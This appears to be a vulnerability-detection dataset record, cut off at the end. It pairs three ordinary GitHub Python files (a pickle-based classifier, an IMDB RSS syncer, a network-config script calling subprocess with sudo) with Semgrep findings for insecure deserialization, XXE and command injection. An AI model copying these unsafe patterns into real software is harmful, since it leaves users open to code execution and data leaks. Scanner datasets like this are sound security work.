"directory_id": "dc6ca3544e9efb69b9fd9239520100b872692348",
"extension": "py",
"filename": "Classifier.py",
"fork_events_count": 2,
"gha_created_at": 1569686314000,
"gha_event_created_at": 1677827606000,
"gha_language": "C#",
"gha_license_id": "MIT",
"github_id": 211525407,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2019,
"license": "MIT",
"license_type": "permissive",
"path": "/Hamro Dokan/ImageClassificationWithRandomForest1/Classifier.py",
"provenance": "stack-edu-0054.json.gz:580903",
"repo_name": "Ananta580/Hamro-Dokan",
"revision_date": 1624778587000,
"revision_id": "a8387c217834d2be7522c12930347f5b97f1e81c",
"snapshot_id": "0d457519649b6cc046df1eb88ff5b74c4e6e27a9",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Ananta580/Hamro-Dokan/a8387c217834d2be7522c12930347f5b97f1e81c/Hamro Dokan/ImageClassificationWithRandomForest1/Classifier.py",
"visit_date": "2023-03-07T17:16:51.882291"
} | 3.40625 | stackv2 |
from random import seed
from random import randrange
from csv import reader
from math import sqrt
import pickle
# Load a CSV file
def load_csv(filename):
dataset = list()
with open(filename, 'r') as file:
csv_reader = reader(file)
for row in csv_reader:
if not row:
continue
dataset.append(row)
return dataset
# Convert string column to float
def str_column_to_float(dataset, column):
for row in dataset:
row[column] = float(row[column].strip())
# Make a prediction with a decision tree
def predict(node, row):
if row[node['index']] < node['value']:
if isinstance(node['left'], dict):
return predict(node['left'], row)
else:
return node['left']
else:
if isinstance(node['right'], dict):
return predict(node['right'], row)
else:
return node['right']
# Make a prediction with a list of bagged trees
def bagging_predict(trees, row):
predictions = [predict(tree, row) for tree in trees]
return max(set(predictions), key=predictions.count)
# Random Forest Algorithm
def random_forest(test):
with open("C:/Users/anant/OneDrive/Desktop/Hamro dokan/Hamro dokan/ImageClassificationWithRandomForest1/Trees.pkl",'rb')as input:
unpickler = pickle.Unpickler(input)
trees=unpickler.load()
predictions = [bagging_predict(trees, row) for row in test]
return(predictions)
def main():
trees = list()
# Test the random forest algorithm
seed(3)
# load and prepare data
filename = 'C:/Users/anant/OneDrive/Desktop/Hamro dokan/Hamro dokan/ImageClassificationWithRandomForest1/unknown.csv'
dataset = load_csv(filename)
# convert string attributes to integers
for i in range(0, len(dataset[0]) - 1):
str_column_to_float(dataset, i)
n_folds = 2
max_depth = 10
min_size = 1
sample_size = 1.0
n_features = int(sqrt(len(dataset[0]) - 1))
result = random_forest(dataset)
if(result[0]==0):
return "Kurtha"
elif(result[0]==1):
return "Tshirt"
else:
return "Pant" | 72 | 27.06 | 133 | 14 | 529 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_6bf0de8332b1a2cc_2962bd49", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/6bf0de8332b1a2cc.py", "start": {"line": 11, "col": 7, "offset": 180}, "end": {"line": 11, "col": 26, "offset": 199}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6bf0de8332b1a2cc_a9bbb267", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 21, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/6bf0de8332b1a2cc.py", "start": {"line": 45, "col": 21, "offset": 1190}, "end": {"line": 45, "col": 44, "offset": 1213}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
45
] | [
45
] | [
21
] | [
44
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | Classifier.py | /Hamro Dokan/ImageClassificationWithRandomForest1/Classifier.py | Ananta580/Hamro-Dokan | MIT | |
2024-11-18T19:58:14.033040+00:00 | 1,515,436,563,000 | 0823a85d31e83d96cf1de94145868c1e0fe4081e | 3 | {
"blob_id": "0823a85d31e83d96cf1de94145868c1e0fe4081e",
"branch_name": "refs/heads/master",
"committer_date": 1515436563000,
"content_id": "2ea2eb60bd13b179f793314bde5bec2ce35ed7c9",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "f3407a134608c74c6115d0c6831b41e6500dce2a",
"extension": "py",
"filename": "imdb.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5096,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/core/rss/imdb.py",
"provenance": "stack-edu-0054.json.gz:580923",
"repo_name": "embercoat/Watcher3",
"revision_date": 1515436563000,
"revision_id": "7b5397780634bfd891f640e2362c7c67dd740a91",
"snapshot_id": "32fb672ced3640f637de8881040d5c94ad5a7361",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/embercoat/Watcher3/7b5397780634bfd891f640e2362c7c67dd740a91/core/rss/imdb.py",
"visit_date": "2021-09-03T11:30:59.900553"
} | 2.640625 | stackv2 | import core
from core import searcher
from core.movieinfo import TMDB
from core.helpers import Url
from datetime import datetime
import json
import logging
import os
import xml.etree.cElementTree as ET
logging = logging.getLogger(__name__)
class ImdbRss(object):
def __init__(self):
self.tmdb = TMDB()
self.data_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'imdb')
self.date_format = '%a, %d %b %Y %H:%M:%S %Z'
self.searcher = searcher.Searcher()
return
def get_rss(self):
''' Syncs rss feed from imdb with library
rss_url (str): url of rss feed
Gets raw rss, sends to self.parse_xml to turn into dict
Sends parsed xml to self.sync_new_movies
Does not return
'''
try:
record = json.loads(core.sql.system('imdb_sync_record'))
except Exception as e:
record = {}
for url in core.CONFIG['Search']['Watchlists']['imdbrss']:
movies = []
if 'rss' not in url:
logging.warning('Invalid IMDB RSS feed: {}'.format(url))
continue
list_id = ''.join(filter(str.isdigit, url))
logging.info('Syncing rss IMDB watchlist {}'.format(url))
try:
response = Url.open(url).text
except Exception as e:
logging.error('IMDB rss request.', exc_info=True)
continue
last_sync = record.get(list_id) or 'Sat, 01 Jan 2000 00:00:00 GMT'
last_sync = datetime.strptime(last_sync, self.date_format)
record[list_id] = self.parse_build_date(response)
logging.debug('Last IMDB sync time: {}'.format(last_sync))
for i in self.parse_xml(response):
pub_date = datetime.strptime(i['pubDate'], self.date_format)
if last_sync >= pub_date:
break
else:
if i not in movies:
title = i['title']
imdbid = i['imdbid'] = i['link'].split('/')[-2]
movies.append(i)
logging.info('Found new watchlist movie: {} {}'.format(title, imdbid))
if movies:
logging.info('Found {} movies in watchlist {}.'.format(len(movies), list_id))
self.sync_new_movies(movies, list_id)
logging.info('Storing last synced date.')
if core.sql.row_exists('SYSTEM', name='imdb_sync_record'):
core.sql.update('SYSTEM', 'data', json.dumps(record), 'name', 'imdb_sync_record')
else:
core.sql.write('SYSTEM', {'data': json.dumps(record), 'name': 'imdb_sync_record'})
logging.info('IMDB sync complete.')
def parse_xml(self, feed):
''' Turns rss into python dict
feed (str): rss feed text
Returns list of dicts of movies in rss
'''
root = ET.fromstring(feed)
# This so ugly, but some newznab sites don't output json.
items = []
for item in root.iter('item'):
d = {}
for i_c in item:
d[i_c.tag] = i_c.text
items.append(d)
return items
def parse_build_date(self, feed):
''' Gets lastBuildDate from imdb rss
feed (str): str xml feed
Last build date is used as a stopping point when iterating over the rss.
There is no need to check movies twice since they will be removed anyway
when checking if it already exists in the library.
Returns str last build date from rss
'''
root = ET.fromstring(feed)
for i in root.iter('lastBuildDate'):
return i.text
def sync_new_movies(self, new_movies, list_id):
''' Adds new movies from rss feed
new_movies (list): dicts of movies
list_id (str): id # of watch list
Checks last sync time and pulls new imdbids from feed.
Checks if movies are already in library and ignores.
Executes ajax.add_wanted_movie() for each new imdbid
Does not return
'''
existing_movies = [i['imdbid'] for i in core.sql.get_user_movies()]
movies_to_add = [i for i in new_movies if i['imdbid'] not in existing_movies]
# do quick-add procedure
for movie in movies_to_add:
imdbid = movie['imdbid']
movie = self.tmdb._search_imdbid(imdbid)
if not movie:
logging.warning('{} not found on TMDB. Cannot add.'.format(imdbid))
continue
else:
movie = movie[0]
logging.info('Adding movie {} {} from imdb watchlist.'.format(movie['title'], movie['imdbid']))
movie['year'] = movie['release_date'][:4]
movie['origin'] = 'IMDB'
added = core.manage.add_movie(movie)
if added['response'] and core.CONFIG['Search']['searchafteradd']:
self.searcher.search(imdbid, movie['title'], movie['year'], 'Default')
| 149 | 33.2 | 107 | 23 | 1,127 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_434f3e93e4d98023_428268bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 9, "line_end": 9, "column_start": 1, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/434f3e93e4d98023.py", "start": {"line": 9, "col": 1, "offset": 166}, "end": {"line": 9, "col": 36, "offset": 201}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
9
] | [
9
] | [
1
] | [
36
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | imdb.py | /core/rss/imdb.py | embercoat/Watcher3 | Apache-2.0 | |
2024-11-18T20:10:17.123976+00:00 | 1,534,472,998,000 | 356d94c179dea54e66c05e04f9ab0500b7f8340b | 2 | {
"blob_id": "356d94c179dea54e66c05e04f9ab0500b7f8340b",
"branch_name": "refs/heads/master",
"committer_date": 1534472998000,
"content_id": "bad3ca7a4e8545102736c6a6bfb9aa75427b0a9f",
"detected_licenses": [
"MIT"
],
"directory_id": "bee9c548edff2dd6e628f544d44a737c84ea8172",
"extension": "py",
"filename": "net.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 145058357,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4790,
"license": "MIT",
"license_type": "permissive",
"path": "/iotapp/Classes/net.py",
"provenance": "stack-edu-0054.json.gz:581105",
"repo_name": "fcarbah/IOT",
"revision_date": 1534472998000,
"revision_id": "6b323c75844d0a6744df12059466d6c54bd0b242",
"snapshot_id": "c026efdb34212e8e3e8ce0d75c530cf316cae634",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fcarbah/IOT/6b323c75844d0a6744df12059466d6c54bd0b242/iotapp/Classes/net.py",
"visit_date": "2020-03-26T15:47:10.531012"
} | 2.453125 | stackv2 | import re
import subprocess
class Network:
__subpattern= r"\s{2,}\w+"
def getnetinfo(self,info:list):
item = {}
head = ''
for i in info:
obj = None
if( not re.match(self.__subpattern,i) and not i==''):
head = re.split('\s+',i)[0]
item[head] ={}
if(not i==''):
obj = self.__details(i)
if not obj == None:
item[head].update(obj)
return item
def getgateway(self,info:list):
part1 = re.split('\s+',info[0])
part2 = re.split('\s+', info[1]) if len(info) <4 else re.split('\s+', info[3])
gws = [];
for x in info:
item =self.__gwdetails(x)
if item != None:
gws.append(item)
return gws
#return {'gateway':part1[2],'interface':part1[4],'cidr':part2[0].split('/')[1]}
def getdns(self,info:list):
dns =[]
for i in info:
if self.__ismatch(i,'nameserver.*'):
dns.append(re.split('\s+',i)[1])
return dns
def set(self,info:dict):
lines =[]
file = open('/etc/network/interfaces','r')
lines = file.readlines()
file.close()
indices = self.__getStartEnd(lines)
newConfig = self.__dataToWrite(info)
newData= lines[0:indices['start']]
newData.extend(newConfig)
newData.extend(lines[indices['end']:])
fw = open('/etc/network/interfaces','w+')
fw.writelines(newData)
fw.close()
subprocess.call(['ifdown', 'eth0'])
subprocess.call(['ifup', 'eth0'])
return {'error':False}
def __dataToWrite(self,info:dict):
if(info['mode']==1):
return ['iface eth0 inet manual\n\n']
elif(info['mode'] == 2):
dns= ' '.join(info['dns'])
return [
'auto eth0\n','iface eth0 inet static\n',
'address '+info['ip']+'\n',
'netmask '+info['subnet']+'\n',
'gateway '+info['gateway']+'\n',
'dns-nameservers '+dns+'\n\n'
]
else:
return []
def __getStartEnd(self,lines):
start_indx = end_indx = None
for x in range(0, len(lines)):
if (re.search(r'eth0', lines[x]) and start_indx == None):
start_indx = x
elif (start_indx != None and re.search(r'(wlan\d|lo\d|eth[1-9]\d?)', lines[x])):
end_indx = x;
break;
return {'start':start_indx,'end':end_indx}
def __setIPInfo(self,info:dict):
if(info['mode']==1):
self.__cleardns()
cmd = ['dhclient','eth0']
subprocess.call(cmd)
elif(info['mode']==2):
cmd = ['sudo','ifconfig','eth0',info['ip'],'netmask',info['subnet']]
cmd2 = ['sudo','route','add','default','gw',info['gateway'],'eth0']
cmd3 = ['ifdown','eth0']
cmd4 = ['ifup','eth0']
cmds =[cmd,cmd2,cmd3,cmd4]
for comm in cmds:
subprocess.call(comm)
self.__writedns(info['dns'])
return {'error':False}
def __writedns(self,dns:list):
if(len(dns)<1):
return
self.__cleardns()
with open('/etc/resolvconf.conf', 'a+') as f:
for d in dns:
f.write('nameserver '+d+'\n')
f.close()
def __cleardns(self):
data =[];
f = open('/etc/resolvconf.conf', 'r')
data = f.read().split('\n')
f.close()
fi = open('/etc/resolvconf.conf', 'w+')
for i in range(0,len(data)-1):
if(re.match(r'^nameserver\s\d{1,3}(\.\d{1,3}){3}$',data[i].strip())):
del data[i]
else:
data[i] = data[i]+'\n'
fi.writelines(data)
fi.close()
def __details(self,item):
parts = item.strip().split(' ')
if re.match(r'.*HWaddr.*',item):
return {'mac':parts[len(parts)-1]}
elif (re.match(r'.*inet6.*', item)):
return {'ipv6': parts[len(parts) - 2]}
elif(re.match(r'.*inet.*',item)):
return {'ipv4': parts[1].split(':')[1],'subnet': parts[3].split(':')[1]}
else:
return None
def __gwdetails(self,item):
parts = item.strip().split(' ')
if re.match(r'.*default.*',item):
return {'ip':parts[2],'interface':parts[4],'metric':parts[len(parts)-1],'cidr':''}
elif (item.strip() != ''):
return {'cidr': parts[0].split('/')[1],'interface':parts[2]}
else:
return None
def __ismatch(self,item,pattern='.*'):
return re.match(pattern,item) | 174 | 26.53 | 94 | 18 | 1,231 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_27dfc03fff3121f3_6f5883bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 16, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 49, "col": 16, "offset": 1165}, "end": {"line": 49, "col": 51, "offset": 1200}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_27dfc03fff3121f3_d67c9577", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 60, "column_start": 14, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 60, "col": 14, "offset": 1484}, "end": {"line": 60, "col": 50, "offset": 1520}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_27dfc03fff3121f3_860634e2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 20, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 64, "col": 20, "offset": 1591}, "end": {"line": 64, "col": 24, "offset": 1595}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_27dfc03fff3121f3_b7407388", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 20, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 65, "col": 20, "offset": 1635}, "end": {"line": 65, "col": 24, "offset": 1639}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_27dfc03fff3121f3_5d2df812", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 13, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 109, "col": 13, "offset": 2765}, "end": {"line": 109, "col": 33, "offset": 2785}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_27dfc03fff3121f3_f9d558cb", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 109, "col": 24, "offset": 2776}, "end": {"line": 109, "col": 28, "offset": 2780}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_27dfc03fff3121f3_131b01a7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 119, "column_start": 17, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/27dfc03fff3121f3.py", "start": {"line": 119, "col": 17, "offset": 3137}, "end": {"line": 119, "col": 38, "offset": 3158}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this 